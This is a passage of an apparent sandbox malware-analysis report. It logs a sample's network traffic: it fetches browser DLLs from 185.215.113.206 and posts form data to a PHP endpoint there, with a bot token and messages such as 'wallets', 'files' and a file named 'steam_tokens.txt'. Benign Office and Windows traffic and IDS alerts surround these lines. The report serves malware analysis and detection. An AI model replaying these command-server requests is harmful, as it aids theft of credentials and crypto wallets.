6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="file"------CFIECBFIDGDAKFHIEHJK--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHDHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBFHIEBKJKFHIEBFBAEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------CFBFHIEBKJKFHIEBFBAEContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------CFBFHIEBKJKFHIEBFBAEContent-Disposition: form-data; name="message"wallets------CFBFHIEBKJKFHIEBFBAE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 2d 2d 0d 0a Data Ascii: ------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="message"files------BKECFIIEHCFHIECAFBAK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJKFBGCFHCGDHIDAAECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4b 46 42 47 43 46 48 43 47 44 48 49 44 41 41 45 43 2d 2d 0d 0a Data Ascii: ------HJJKFBGCFHCGDHIDAAECContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------HJJKFBGCFHCGDHIDAAECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJJKFBGCFHCGDHIDAAECContent-Disposition: form-data; name="file"------HJJKFBGCFHCGDHIDAAEC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDBKJKFIECAAAKFBFBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 2d 2d 0d 0a Data Ascii: ------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="message"ybncbhylepme------FHJDBKJKFIECAAAKFBFB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIIIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 2d 2d 0d 0a Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HDAKFCGIJKJKFHIDHIII--

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3
Source: Joe Sandbox View	IP Address: 172.64.41.3 172.64.41.3

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49716 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=eNHNM2cUaCzws2c&MD=1L+Ngsmd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
